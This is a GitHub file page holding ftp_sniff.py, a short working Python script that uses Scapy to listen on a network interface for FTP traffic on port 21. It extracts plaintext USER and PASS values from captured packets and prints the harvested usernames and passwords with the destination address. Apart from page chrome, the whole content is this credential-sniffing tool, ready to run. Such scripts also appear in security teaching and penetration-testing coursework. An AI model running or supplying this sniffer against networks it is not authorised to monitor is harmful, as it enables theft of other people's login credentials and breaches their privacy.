-
Notifications
You must be signed in to change notification settings - Fork 166
/
Copy pathftp_sniff.py
31 lines (25 loc) · 882 Bytes
/
ftp_sniff.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import re
import argparse
from scapy.all import sniff, conf
from scapy.layers.inet import IP
def ftp_sniff(pkt):
dest = pkt.getlayer(IP).dst
raw = pkt.sprintf('%Raw.load%')
user = re.findall(f'(?i)USER (.*)', raw)
pswd = re.findall(f'(?i)PASS (.*)', raw)
if user:
print(f'[*] Detected FTP Login to {str(dest)}')
print(f'[+] User account: {str(user[0])}')
if pswd:
print(f'[+] Password: {str(pswd[0])}')
if __name__ == '__main__':
parser = argparse.ArgumentParser(
usage='python3 ftp_sniff.py INTERFACE')
parser.add_argument('iface', type=str, metavar='INTERFACE',
help='specify the interface to listen on')
args = parser.parse_args()
conf.iface = args.iface
try:
sniff(filter='tcp port 21', prn=ftp_sniff)
except KeyboardInterrupt:
exit(0)